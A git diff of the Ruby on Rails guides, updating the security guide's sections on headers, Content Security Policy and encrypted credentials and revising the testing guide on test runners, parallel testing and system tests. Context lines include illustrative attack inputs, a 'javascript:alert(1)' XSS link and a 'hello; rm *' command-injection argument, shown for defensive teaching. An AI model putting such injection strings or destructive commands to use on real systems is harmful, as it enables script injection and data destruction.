@@ -860,7 +925,7 @@ RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
#### Countermeasures
-It is recommended to _use RedCloth in combination with a whitelist input filter_, as described in the countermeasures against XSS section.
+It is recommended to _use RedCloth in combination with a permitted input filter_, as described in the countermeasures against XSS section.
### Ajax Injection
@@ -884,9 +949,9 @@ system("/bin/echo","hello; rm *")
### Header Injection
-WARNING: _HTTP headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, XSS or HTTP response splitting._
+WARNING: _HTTP headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, XSS, or HTTP response splitting._
-HTTP request headers have a Referer, User-Agent (client software), and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. _Remember to escape these header fields, too._ For example when you display the user agent in an administration area.
+HTTP request headers have a Referer, User-Agent (client software), and Cookie field, among others. Response headers for example have a status code, Cookie, and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. _Remember to escape these header fields, too._ For example when you display the user agent in an administration area.
Besides that, it is _important to know what you are doing when building response headers partly based on user input._ For example you want to redirect the user back to a specific page. To do that you introduced a "referer" field in a form to redirect to the given address:
@@ -993,7 +1058,10 @@ Every HTTP response from your Rails application receives the following default s
config.action_dispatch.default_headers = {
'X-Frame-Options' => 'SAMEORIGIN',
'X-XSS-Protection' => '1; mode=block',
- 'X-Content-Type-Options' => 'nosniff'
+ 'X-Content-Type-Options' => 'nosniff',
+ 'X-Download-Options' => 'noopen',
+ 'X-Permitted-Cross-Domain-Policies' => 'none',
+ 'Referrer-Policy' => 'strict-origin-when-cross-origin'
}
```
@@ -1019,34 +1087,152 @@ Here is a list of common headers:
* **X-Content-Type-Options:** _'nosniff' in Rails by default_ - stops the browser from guessing the MIME type of a file.
* **X-Content-Security-Policy:** [A powerful mechanism for controlling which sites certain content types can be loaded from](http://w3c.github.io/webappsec/specs/content-security-policy/csp-specification.dev.html)
* **Access-Control-Allow-Origin:** Used to control which sites are allowed to bypass same origin policies and send cross-origin requests.
-* **Strict-Transport-Security:** [Used to control if the browser is allowed to only access a site over a secure connection](http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security)
+* **Strict-Transport-Security:** [Used to control if the browser is allowed to only access a site over a secure connection](https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security)
+
+### Content Security Policy
+
+Rails provides a DSL that allows you to configure a
+[Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy)
+for your application. You can configure a global default policy and then
+override it on a per-resource basis and even use lambdas to inject per-request
+values into the header such as account subdomains in a multi-tenant application.
+
+Example global policy:
+
+```ruby
+# config/initializers/content_security_policy.rb
+Rails.application.config.content_security_policy do |policy|
+ policy.default_src :self, :https
+ policy.font_src :self, :https, :data
+ policy.img_src :self, :https, :data
+ policy.object_src :none
+ policy.script_src :self, :https
+ policy.style_src :self, :https
+
+ # Specify URI for violation reports
+ policy.report_uri "/csp-violation-report-endpoint"
+end
+```
+
+Example controller overrides:
+
+```ruby
+# Override policy inline
+class PostsController < ApplicationController
+ content_security_policy do |p|
+ p.upgrade_insecure_requests true
+ end
+end
+
+# Using literal values
+class PostsController < ApplicationController
+ content_security_policy do |p|
+ p.base_uri "https://www.example.com"
+ end
+end
+
+# Using mixed static and dynamic values
+class PostsController < ApplicationController
+ content_security_policy do |p|
+ p.base_uri :self, -> { "https://#{current_user.domain}.example.com" }
+ end
+end
+
+# Disabling the global CSP
+class LegacyPagesController < ApplicationController
+ content_security_policy false, only: :index
+end
+```
+
+Use the `content_security_policy_report_only`
+configuration attribute to set
+[Content-Security-Policy-Report-Only](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy-Report-Only)
+in order to report only content violations for migrating
+legacy content
+
+```ruby
+# config/initializers/content_security_policy.rb
+Rails.application.config.content_security_policy_report_only = true
+```
+
+```ruby
+# Controller override
+class PostsController < ApplicationController
+ content_security_policy_report_only only: :index
+end
+```
+
+You can enable automatic nonce generation:
+
+```ruby
+# config/initializers/content_security_policy.rb
+Rails.application.config.content_security_policy do |policy|
+ policy.script_src :self, :https
+end
+
+Rails.application.config.content_security_policy_nonce_generator = -> request { SecureRandom.base64(16) }
+```
+
+Then you can add an automatic nonce value by passing `nonce: true`
+as part of `html_options`. Example:
+
+```html+erb
+<%= javascript_tag nonce: true do -%>
+ alert('Hello, World!');
+<% end -%>
+```
+
+The same works with `javascript_include_tag`:
+
+```html+erb
+<%= javascript_include_tag "script", nonce: true %>
+```
+
+Use [`csp_meta_tag`](http://api.rubyonrails.org/classes/ActionView/Helpers/CspHelper.html#method-i-csp_meta_tag)
+helper to create a meta tag "csp-nonce" with the per-session nonce value
+for allowing inline `<script>` tags.
+
+```html+erb
+<head>
+ <%= csp_meta_tag %>
+</head>
+```
+
+This is used by the Rails UJS helper to create dynamically
+loaded inline `<script>` elements.
Environmental Security
----------------------
It is beyond the scope of this guide to inform you on how to secure your application code and environments. However, please secure your database configuration, e.g. `config/database.yml`, and your server-side secret, e.g. stored in `config/secrets.yml`. You may want to further restrict access, using environment-specific versions of these files and any others that may contain sensitive information.
-### Custom secrets
+### Custom credentials
+
+Rails generates a `config/credentials.yml.enc` to store third-party credentials
+within the repo. This is only viable because Rails encrypts the file with a master
+key that's generated into a version control ignored `config/master.key` — Rails
+will also look for that key in `ENV["RAILS_MASTER_KEY"]`. Rails also requires the
+key to boot in production, so the credentials can be read.
+
+To edit stored credentials use `rails credentials:edit`.
-Rails generates a `config/secrets.yml`. By default, this file contains the
-application's `secret_key_base`, but it could also be used to store other
-secrets such as access keys for external APIs.
+By default, this file contains the application's
+`secret_key_base`, but it could also be used to store other credentials such as
+access keys for external APIs.
-The secrets added to this file are accessible via `Rails.application.secrets`.
-For example, with the following `config/secrets.yml`:
+The credentials added to this file are accessible via `Rails.application.credentials`.
+For example, with the following decrypted `config/credentials.yml.enc`:
- development:
- secret_key_base: 3b7cd727ee24e8444053437c36cc66c3
- some_api_key: SOMEKEY
+ secret_key_base: 3b7cd727ee24e8444053437c36cc66c3
+ some_api_key: SOMEKEY
-`Rails.application.secrets.some_api_key` returns `SOMEKEY` in the development
-environment.
+`Rails.application.credentials.some_api_key` returns `SOMEKEY` in any environment.
If you want an exception to be raised when some key is blank, use the bang
version:
```ruby
-Rails.application.secrets.some_api_key! # => raises KeyError: key not found: :some_api_key
+Rails.application.credentials.some_api_key! # => raises KeyError: :some_api_key is blank
```
Additional Resources
@@ -1054,6 +1240,7 @@ Additional Resources
The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here:
-* Subscribe to the Rails security [mailing list](http://groups.google.com/group/rubyonrails-security)
-* [Keep up to date on the other application layers](http://secunia.com/) (they have a weekly newsletter, too)
-* A [good security blog](https://www.owasp.org) including the [Cross-Site scripting Cheat Sheet](https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet)
+* Subscribe to the Rails security [mailing list](https://groups.google.com/forum/#!forum/rubyonrails-security).
+* [Brakeman - Rails Security Scanner](https://brakemanscanner.org/) - To perform static security analysis for Rails applications.
+* [Keep up to date on the other application layers](http://secunia.com/) (they have a weekly newsletter, too).
+* A [good security blog](https://www.owasp.org) including the [Cross-Site scripting Cheat Sheet](https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet).
diff --git a/guides/source/testing.md b/guides/source/testing.md
index 652030a733..de93e1c653 100644
--- a/guides/source/testing.md
+++ b/guides/source/testing.md
@@ -1,7 +1,7 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
-A Guide to Testing Rails Applications
-=====================================
+Testing Rails Applications
+==========================
This guide covers built-in mechanisms in Rails for testing your application.
@@ -18,7 +18,7 @@ Why Write Tests for your Rails Applications?
Rails makes it super easy to write your tests. It starts by producing skeleton test code while you are creating your models and controllers.
-By simply running your Rails tests you can ensure your code adheres to the desired functionality even after some major code refactoring.
+By running your Rails tests you can ensure your code adheres to the desired functionality even after some major code refactoring.
Rails tests can also simulate browser requests and thus you can test your application's response without having to test it through your browser.
@@ -33,8 +33,8 @@ Rails creates a `test` directory for you as soon as you create a Rails project u
```bash
$ ls -F test
-controllers/ helpers/ mailers/ system/ test_helper.rb
-fixtures/ integration/ models/ application_system_test_case.rb
+application_system_test_case.rb fixtures/ integration/ models/ test_helper.rb
+controllers/ helpers/ mailers/ system/
```
The `helpers`, `mailers`, and `models` directories are meant to hold tests for view helpers, mailers, and models, respectively. The `controllers` directory is meant to hold tests for controllers, routes, and views. The `integration` directory is meant to hold tests for interactions between controllers.
@@ -70,7 +70,7 @@ If you remember, we used the `rails generate model` command in the
model, and among other things it created test stubs in the `test` directory:
```bash
-$ bin/rails generate model article title:string body:text
+$ rails generate model article title:string body:text
...
create app/models/article.rb
create test/models/article_test.rb
@@ -105,7 +105,7 @@ class ArticleTest < ActiveSupport::TestCase
The `ArticleTest` class defines a _test case_ because it inherits from `ActiveSupport::TestCase`. `ArticleTest` thus has all the methods available from `ActiveSupport::TestCase`. Later in this guide, we'll see some of the methods it gives us.
Any method defined within a class inherited from `Minitest::Test`
-(which is the superclass of `ActiveSupport::TestCase`) that begins with `test_` (case sensitive) is simply called a test. So, methods defined as `test_password` and `test_valid_password` are legal test names and are run automatically when the test case is run.
+(which is the superclass of `ActiveSupport::TestCase`) that begins with `test_` is simply called a test. So, methods defined as `test_password` and `test_valid_password` are legal test names and are run automatically when the test case is run.
Rails also adds a `test` method that takes a test name and a block. It generates a normal `Minitest::Unit` test with method names prefixed with `test_`. So you don't have to worry about naming the methods, and you can write something like:
@@ -123,7 +123,7 @@ def test_the_truth
end
```
-However only the `test` macro allows a more readable test name. You can still use regular method definitions though.
+Although you can still use regular method definitions, using the `test` macro allows for a more readable test name.
NOTE: The method name is generated by replacing spaces with underscores. The result does not need to be a valid Ruby identifier though, the name may contain punctuation characters etc. That's because in Ruby technically any string may be a method name. This may require use of `define_method` and `send` calls to function properly, but formally there's little restriction on the name.
@@ -156,7 +156,7 @@ end
Let us run this newly added test (where `6` is the number of line where the test is defined).
```bash
-$ bin/rails test test/models/article_test.rb:6
+$ rails test test/models/article_test.rb:6
Run options: --seed 44656
# Running:
@@ -168,7 +168,7 @@ ArticleTest#test_should_not_save_article_without_title [/path/to/blog/test/model
Expected true to be nil or false
-bin/rails test test/models/article_test.rb:6
+rails test test/models/article_test.rb:6
@@ -206,7 +206,7 @@ end
Now the test should pass. Let us verify by running the test again:
```bash
-$ bin/rails test test/models/article_test.rb:6
+$ rails test test/models/article_test.rb:6
Run options: --seed 31252
# Running:
@@ -239,7 +239,7 @@ end
Now you can see even more output in the console from running the tests:
```bash
-$ bin/rails test test/models/article_test.rb
+$ rails test test/models/article_test.rb
Run options: --seed 1808
# Running:
@@ -252,7 +252,7 @@ NameError: undefined local variable or method 'some_undefined_variable' for #<Ar
test/models/article_test.rb:11:in 'block in <class:ArticleTest>'
-bin/rails test test/models/article_test.rb:9
+rails test test/models/article_test.rb:9
@@ -273,10 +273,10 @@ When a test fails you are presented with the corresponding backtrace. By default
Rails filters that backtrace and will only print lines relevant to your
application. This eliminates the framework noise and helps to focus on your
code. However there are situations when you want to see the full
-backtrace. Simply set the `-b` (or `--backtrace`) argument to enable this behavior:
+backtrace. Set the `-b` (or `--backtrace`) argument to enable this behavior:
```bash
-$ bin/rails test -b test/models/article_test.rb
+$ rails test -b test/models/article_test.rb
```
If we want this test to pass we can modify it to use `assert_raises` like so:
@@ -319,6 +319,8 @@ specify to make your test failure messages clearer.
| `assert_not_includes( collection, obj, [msg] )` | Ensures that `obj` is not in `collection`.|
| `assert_in_delta( expected, actual, [delta], [msg] )` | Ensures that the numbers `expected` and `actual` are within `delta` of each other.|
| `assert_not_in_delta( expected, actual, [delta], [msg] )` | Ensures that the numbers `expected` and `actual` are not within `delta` of each other.|
+| `assert_in_epsilon ( expected, actual, [epsilon], [msg] )` | Ensures that the numbers `expected` and `actual` have a relative error less than `epsilon`.|
+| `assert_not_in_epsilon ( expected, actual, [epsilon], [msg] )` | Ensures that the numbers `expected` and `actual` don't have a relative error less than `epsilon`.|
| `assert_throws( symbol, [msg] ) { block }` | Ensures that the given block throws the symbol.|
| `assert_raises( exception1, exception2, ... ) { block }` | Ensures that the given block raises one of the given exceptions.|
| `assert_instance_of( class, obj, [msg] )` | Ensures that `obj` is an instance of `class`.|
@@ -350,7 +352,9 @@ Rails adds some custom assertions of its own to the `minitest` framework:
| --------------------------------------------------------------------------------- | ------- |
| [`assert_difference(expressions, difference = 1, message = nil) {...}`](http://api.rubyonrails.org/classes/ActiveSupport/Testing/Assertions.html#method-i-assert_difference) | Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block.|
| [`assert_no_difference(expressions, message = nil, &block)`](http://api.rubyonrails.org/classes/ActiveSupport/Testing/Assertions.html#method-i-assert_no_difference) | Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.|
-| [`assert_nothing_raised { block }`](http://api.rubyonrails.org/classes/ActiveSupport/TestCase.html#method-i-assert_nothing_raised) | Ensures that the given block doesn't raise any exceptions.|
+| [`assert_changes(expressions, message = nil, from:, to:, &block)`](http://api.rubyonrails.org/classes/ActiveSupport/Testing/Assertions.html#method-i-assert_changes) | Test that the result of evaluating an expression is changed after invoking the passed in block.|
+| [`assert_no_changes(expressions, message = nil, &block)`](http://api.rubyonrails.org/classes/ActiveSupport/Testing/Assertions.html#method-i-assert_no_changes) | Test the result of evaluating an expression is not changed after invoking the passed in block.|
+| [`assert_nothing_raised { block }`](http://api.rubyonrails.org/classes/ActiveSupport/Testing/Assertions.html#method-i-assert_nothing_raised) | Ensures that the given block doesn't raise any exceptions.|
| [`assert_recognizes(expected_options, path, extras={}, message=nil)`](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html#method-i-assert_recognizes) | Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.|
| [`assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)`](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html#method-i-assert_generates) | Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.|
| [`assert_response(type, message = nil)`](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/ResponseAssertions.html#method-i-assert_response) | Asserts that the response comes with a specific status code. You can specify `:success` to indicate 200-299, `:redirect` to indicate 300-399, `:missing` to indicate 404, or `:error` to match the 500-599 range. You can also pass an explicit status number or its symbolic equivalent. For more information, see [full list of status codes](http://rubydoc.info/github/rack/rack/master/Rack/Utils#HTTP_STATUS_CODES-constant) and how their [mapping](http://rubydoc.info/github/rack/rack/master/Rack/Utils#SYMBOL_TO_STATUS_CODE-constant) works.|
@@ -365,9 +369,10 @@ All the basic assertions such as `assert_equal` defined in `Minitest::Assertions
* [`ActiveSupport::TestCase`](http://api.rubyonrails.org/classes/ActiveSupport/TestCase.html)
* [`ActionMailer::TestCase`](http://api.rubyonrails.org/classes/ActionMailer/TestCase.html)
* [`ActionView::TestCase`](http://api.rubyonrails.org/classes/ActionView/TestCase.html)
-* [`ActionDispatch::IntegrationTest`](http://api.rubyonrails.org/classes/ActionDispatch/IntegrationTest.html)
* [`ActiveJob::TestCase`](http://api.rubyonrails.org/classes/ActiveJob/TestCase.html)
+* [`ActionDispatch::IntegrationTest`](http://api.rubyonrails.org/classes/ActionDispatch/IntegrationTest.html)
* [`ActionDispatch::SystemTestCase`](http://api.rubyonrails.org/classes/ActionDispatch/SystemTestCase.html)
+* [`Rails::Generators::TestCase`](http://api.rubyonrails.org/classes/Rails/Generators/TestCase.html)
Each of these classes include `Minitest::Assertions`, allowing us to use all of the basic assertions in our tests.
@@ -376,12 +381,12 @@ documentation](http://docs.seattlerb.org/minitest).
### The Rails Test Runner
-We can run all of our tests at once by using the `bin/rails test` command.
+We can run all of our tests at once by using the `rails test` command.
-Or we can run a single test file by passing the `bin/rails test` command the filename containing the test cases.
+Or we can run a single test file by passing the `rails test` command the filename containing the test cases.
```bash
-$ bin/rails test test/models/article_test.rb
+$ rails test test/models/article_test.rb
Run options: --seed 1559
# Running:
@@ -399,7 +404,7 @@ You can also run a particular test method from the test case by providing the
`-n` or `--name` flag and the test's method name.
```bash
-$ bin/rails test test/models/article_test.rb -n test_the_truth
+$ rails test test/models/article_test.rb -n test_the_truth
Run options: -n test_the_truth --seed 43583
# Running:
@@ -414,46 +419,131 @@ Finished tests in 0.009064s, 110.3266 tests/s, 110.3266 assertions/s.
You can also run a test at a specific line by providing the line number.
```bash
-$ bin/rails test test/models/article_test.rb:6 # run specific test and line
+$ rails test test/models/article_test.rb:6 # run specific test and line
```
You can also run an entire directory of tests by providing the path to the directory.
```bash
-$ bin/rails test test/controllers # run all tests from specific directory
+$ rails test test/controllers # run all tests from specific directory
```
The test runner also provides a lot of other features like failing fast, deferring test output
at the end of test run and so on. Check the documentation of the test runner as follows:
```bash
-$ bin/rails test -h
-minitest options:
- -h, --help Display this help.
- -s, --seed SEED Sets random seed. Also via env. Eg: SEED=n rake
- -v, --verbose Verbose. Show progress processing files.
- -n, --name PATTERN Filter run on /regexp/ or string.
- --exclude PATTERN Exclude /regexp/ or string from run.
+$ rails test -h
+Usage: rails test [options] [files or directories]
-Known extensions: rails, pride
-
-Usage: bin/rails test [options] [files or directories]
You can run a single test by appending a line number to a filename:
- bin/rails test test/models/user_test.rb:27
+ rails test test/models/user_test.rb:27
You can run multiple files and directories at the same time:
- bin/rails test test/controllers test/integration/login_test.rb
+ rails test test/controllers test/integration/login_test.rb
By default test failures and errors are reported inline during a run.
-Rails options:
+minitest options:
+ -h, --help Display this help.
+ --no-plugins Bypass minitest plugin auto-loading (or set $MT_NO_PLUGINS).
+ -s, --seed SEED Sets random seed. Also via env. Eg: SEED=n rake
+ -v, --verbose Verbose. Show progress processing files.
+ -n, --name PATTERN Filter run on /regexp/ or string.
+ --exclude PATTERN Exclude /regexp/ or string from run.
+
+Known extensions: rails, pride
+ -w, --warnings Run with Ruby warnings enabled
-e, --environment ENV Run tests in the ENV environment
-b, --backtrace Show the complete backtrace
-d, --defer-output Output test failures and errors after the test run
-f, --fail-fast Abort test run on first failure or error
-c, --[no-]color Enable color in the output
+ -p, --pride Pride. Show your testing pride!
+```
+
+Parallel Testing
+----------------
+
+Parallel testing allows you to parallelize your test suite. While forking processes is the
+default method, threading is supported as well. Running tests in parallel reduces the time it
+takes your entire test suite to run.
+
+### Parallel testing with processes
+
+The default parallelization method is to fork processes using Ruby's DRb system. The processes
+are forked based on the number of workers provided. The default is 2, but can be changed by the
+number passed to the parallelize method. Active Record automatically handles creating and
+migrating a new database for each worker to use.
+
+To enable parallelization add the following to your `test_helper.rb`:
+
+```
+class ActiveSupport::TestCase
+ parallelize(workers: 2)
+end
+```
+
+The number of workers passed is the number of times the process will be forked. You may want to
+parallelize your local test suite differently from your CI, so an environment variable is provided
+to be able to easily change the number of workers a test run should use:
+
+```
+PARALLEL_WORKERS=15 rails test
+```
+
+When parallelizing tests, Active Record automatically handles creating and migrating a database for each
+process. The databases will be suffixed with the number corresponding to the worker. For example, if you
+have 2 workers the tests will create `test-database-0` and `test-database-1` respectively.
+
+If the number of workers passed is 1 or fewer the processes will not be forked and the tests will not
+be parallelized and the tests will use the original `test-database` database.
+
+Two hooks are provided, one runs when the process is forked, and one runs before the processes are closed.
+These can be useful if your app uses multiple databases or perform other tasks that depend on the number of
+workers.
+
+The `parallelize_setup` method is called right after the processes are forked. The `parallelize_teardown` method
+is called right before the processes are closed.
+
+```
+class ActiveSupport::TestCase
+ parallelize_setup do |worker|
+ # setup databases
+ end
+
+ parallelize_teardown do |worker|
+ # cleanup database
+ end
+
+ parallelize(workers: 2)
+end
+```
+
+These methods are not needed or available when using parallel testing with threads.
+
+### Parallel testing with threads
+
+If you prefer using threads or are using JRuby, a threaded parallelization option is provided. The threaded
+parallelizer is backed by Minitest's `Parallel::Executor`.
+
+To change the parallelization method to use threads over forks put the following in your `test_helper.rb`
+
+```
+class ActiveSupport::TestCase
+ parallelize(workers: 2, with: :threads)
+end
+```
+
+Rails applications generated from JRuby will automatically include the `with: :threads` option.
+
+The number of workers passed to `parallelize` determines the number of threads the tests will use. You may
+want to parallelize your local test suite differently from your CI, so an environment variable is provided
+to be able to easily change the number of workers a test run should use:
+
+```
+PARALLEL_WORKERS=15 rails test
```
The Test Database
@@ -473,11 +563,11 @@ structure. The test helper checks whether your test database has any pending
migrations. It will try to load your `db/schema.rb` or `db/structure.sql`
into the test database. If migrations are still pending, an error will be
raised. Usually this indicates that your schema is not fully migrated. Running
-the migrations against the development database (`bin/rails db:migrate`) will
+the migrations against the development database (`rails db:migrate`) will
bring the schema up to date.
NOTE: If there were modifications to existing migrations, the test database needs to
-be rebuilt. This can be done by executing `bin/rails db:test:prepare`.
+be rebuilt. This can be done by executing `rails db:test:prepare`.
### The Low-Down on Fixtures
@@ -514,7 +604,7 @@ steve:
Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are typically separated by a blank line. You can place comments in a fixture file by using the # character in the first column.
-If you are working with [associations](/association_basics.html), you can simply
+If you are working with [associations](/association_basics.html), you can
define a reference node between two different fixtures. Here's an example with
a `belongs_to`/`has_many` association:
@@ -590,7 +680,7 @@ Rails model tests are stored under the `test/models` directory. Rails provides
a generator to create a model test skeleton for you.
```bash
-$ bin/rails generate test_unit:model article title:string body:text
+$ rails generate test_unit:model article title:string body:text
create test/models/article_test.rb
create test/fixtures/articles.yml
```
@@ -600,30 +690,29 @@ Model tests don't have their own superclass like `ActionMailer::TestCase` instea
System Testing
--------------
-System tests are full-browser tests that can be used to test your application's
-JavaScript and user experience. System tests use Capybara as a base.
-
-System tests allow for running tests in either a real browser or a headless
-driver for testing full user interactions with your application.
+System tests allow you to test user interactions with your application, running tests
+in either a real or a headless browser. System tests use Capybara under the hood.
For creating Rails system tests, you use the `test/system` directory in your
application. Rails provides a generator to create a system test skeleton for you.
```bash
-$ bin/rails generate system_test users_create_test
+$ rails generate system_test users
invoke test_unit
- create test/system/users_create_test.rb
+ create test/system/users_test.rb
```
-Here's what a freshly-generated system test looks like:
+Here's what a freshly generated system test looks like:
```ruby
require "application_system_test_case"
-class UsersCreateTest < ApplicationSystemTestCase
- visit users_url
-
- assert_selector "h1", text: "Users"
+class UsersTest < ApplicationSystemTestCase
+ # test "visiting the index" do
+ # visit users_url
+ #
+ # assert_selector "h1", text: "Users"
+ # end
end
```
@@ -640,9 +729,9 @@ When you generate a new application or scaffold, an `application_system_test_cas
is created in the test directory. This is where all the configuration for your
system tests should live.
-If you want to change the default settings you can simply change what the system
+If you want to change the default settings you can change what the system
tests are "driven by". Say you want to change the driver from Selenium to
-Poltergeist. First add the Poltergeist gem to your Gemfile. Then in your
+Poltergeist. First add the `poltergeist` gem to your `Gemfile`. Then in your
`application_system_test_case.rb` file do the following:
```ruby
@@ -656,8 +745,9 @@ end
The driver name is a required argument for `driven_by`. The optional arguments
that can be passed to `driven_by` are `:using` for the browser (this will only
-be used for non-headless drivers like Selenium), `:on` for the port Puma should
-use, and `:screen_size` to change the size of the screen for screenshots.
+be used by Selenium), `:screen_size` to change the size of the screen for
+screenshots, and `:options` which can be used to set options supported by the
+driver.
```ruby
require "test_helper"
@@ -667,8 +757,20 @@ class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
end
```
-If your Capybara configuration requires more setup than provided by Rails, all
-of that configuration can be put into the `application_system_test_case.rb` file.
+If you want to use a headless browser, you could use Headless Chrome or Headless Firefox by adding
+`headless_chrome` or `headless_firefox` in the `:using` argument.
+
+```ruby
+require "test_helper"
+
+class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
+ driven_by :selenium, using: :headless_chrome
+end
+```
+
+If your Capybara configuration requires more setup than provided by Rails, this
+additional configuration could be added into the `application_system_test_case.rb`
+file.
Please see [Capybara's documentation](https://github.com/teamcapybara/capybara#setup)
for additional settings.
@@ -691,12 +793,12 @@ take a screenshot of the browser.
Now we're going to add a system test to our blog application. We'll demonstrate
writing a system test by visiting the index page and creating a new blog article.
-If you used the scaffold generator, a system test skeleton is automatically
-created for you. If you did not use the generator start by creating a system
-test skeleton.
+If you used the scaffold generator, a system test skeleton was automatically
+created for you. If you didn't use the scaffold generator, start by creating a
+system test skeleton.
```bash
-$ bin/rails generate system_test articles
+$ rails generate system_test articles
```
It should have created a test file placeholder for us. With the output of the
@@ -720,14 +822,17 @@ class ArticlesTest < ApplicationSystemTestCase
end
```
-The test should see that there is an h1 on the articles index and pass.
+The test should see that there is an `h1` on the articles index page and pass.
Run the system tests.
```bash
-bin/rails test:system
+rails test:system
```
+NOTE: By default, running `rails test` won't run your system tests.
+Make sure to run `rails test:system` to actually run them.
+
#### Creating articles system test
Now let's test the flow for creating a new article in our blog.
@@ -757,8 +862,36 @@ Then the test will fill in the title and body of the article with the specified
text. Once the fields are filled in, "Create Article" is clicked on which will
send a POST request to create the new article in the database.
-We will be redirected back to the the articles index page and there we assert
-that the text from the article title is on the articles index page.
+We will be redirected back to the articles index page and there we assert
+that the text from the new article's title is on the articles index page.
+
+#### Testing for multiple screen sizes
+If you want to test for mobile sizes on top of testing for desktop,
+you can create another class that inherits from SystemTestCase and use in your
+test suite. In this example a file called `mobile_system_test_case.rb` is created
+in the `/test` directory with the following configuration.
+
+```ruby
+require "test_helper"
+
+class MobileSystemTestCase < ActionDispatch::SystemTestCase
+ driven_by :selenium, using: :chrome, screen_size: [375, 667]
+end
+```
+To use this configuration, create a test inside `test/system` that inherits from `MobileSystemTestCase`.
+Now you can test your app using multiple different configurations.
+
+```ruby
+require "mobile_system_test_case"
+
+class PostsTest < MobileSystemTestCase
+
+ test "visiting the index" do
+ visit posts_url
+ assert_selector "h1", text: "Posts"
+ end
+end
+```
#### Taking it further
@@ -777,12 +910,12 @@ Integration tests are used to test how various parts of your application interac
For creating Rails integration tests, we use the `test/integration` directory for our application. Rails provides a generator to create an integration test skeleton for us.
```bash
-$ bin/rails generate integration_test user_flows
+$ rails generate integration_test user_flows
exists test/integration/
create test/integration/user_flows_test.rb
```
-Here's what a freshly-generated integration test looks like:
+Here's what a freshly generated integration test looks like:
```ruby
require 'test_helper'
@@ -813,7 +946,7 @@ Let's add an integration test to our blog application. We'll start with a basic
We'll start by generating our integration test skeleton:
```bash
-$ bin/rails generate integration_test blog_flow
+$ rails generate integration_test blog_flow
```
It should have created a test file placeholder for us. With the output of the
@@ -901,7 +1034,7 @@ You should test for things such as:
The easiest way to see functional tests in action is to generate a controller using the scaffold generator:
```bash
-$ bin/rails generate scaffold_controller article title:string body:text
+$ rails generate scaffold_controller article title:string body:text
...
create app/controllers/articles_controller.rb
...
@@ -917,10 +1050,10 @@ If you already have a controller and just want to generate the test scaffold cod
each of the seven default actions, you can use the following command:
```bash
-$ bin/rails generate test_unit:scaffold article
+$ rails generate test_unit:scaffold article
...
invoke test_unit
-create test/controllers/articles_controller_test.rb
+create test/controllers/articles_controller_test.rb
...
```
@@ -952,16 +1085,16 @@ The `get` method kicks off the web request and populates the results into the `@
All of these keyword arguments are optional.
-Example: Calling the `:show` action, passing an `id` of 12 as the `params` and setting `HTTP_REFERER` header:
+Example: Calling the `:show` action for the first `Article`, passing in an `HTTP_REFERER` header:
```ruby
-get article_url, params: { id: 12 }, headers: { "HTTP_REFERER" => "http://example.com/home" }
+get article_url(Article.first), headers: { "HTTP_REFERER" => "http://example.com/home" }
```
-Another example: Calling the `:update` action, passing an `id` of 12 as the `params` as an Ajax request.
+Another example: Calling the `:update` action for the last `Article`, passing in new text for the `title` in `params`, as an Ajax request:
```ruby
-patch article_url, params: { id: 12 }, xhr: true
+patch article_url(Article.last), params: { article: { title: "updated" } }, xhr: true
```
NOTE: If you try running `test_should_create_article` test from `articles_controller_test.rb` it will fail on account of the newly added model level validation and rightly so.
@@ -980,11 +1113,10 @@ end
Now you can try running all the tests and they should pass.
-NOTE: If you followed the steps in the Basic Authentication section, you'll need to add the following to the `setup` block to get all the tests passing:
+NOTE: If you followed the steps in the Basic Authentication section, you'll need to add authorization to every request header to get all the tests passing:
```ruby
-request.headers['Authorization'] = ActionController::HttpAuthentication::Basic.
- encode_credentials('dhh', 'secret')
+post articles_url, params: { article: { body: 'Rails is awesome!', title: 'Hello Rails' } }, headers: { Authorization: ActionController::HttpAuthentication::Basic.encode_credentials('dhh', 'secret') }
```
### Available Request Types for Functional Tests
@@ -998,7 +1130,7 @@ If you're familiar with the HTTP protocol, you'll know that `get` is a type of r
* `head`
* `delete`
-All of request types have equivalent methods that you can use. In a typical C.R.U.D. application you'll be using `get`, `post`, `put` and `delete` more often.
+All of request types have equivalent methods that you can use. In a typical C.R.U.D. application you'll be using `get`, `post`, `put`, and `delete` more often.
NOTE: Functional tests do not verify whether the specified request type is accepted by the action, we're more concerned with the result. Request tests exist for this use case to make your tests more purposeful.
@@ -1056,9 +1188,9 @@ end
### Setting Headers and CGI variables
-[HTTP headers](http://tools.ietf.org/search/rfc2616#section-5.3)
+[HTTP headers](https://tools.ietf.org/search/rfc2616#section-5.3)
and
-[CGI variables](http://tools.ietf.org/search/rfc3875#section-4.1)
+[CGI variables](https://tools.ietf.org/search/rfc3875#section-4.1)
can be passed as headers:
```ruby
@@ -1092,7 +1224,7 @@ end
If we run our test now, we should see a failure:
```bash
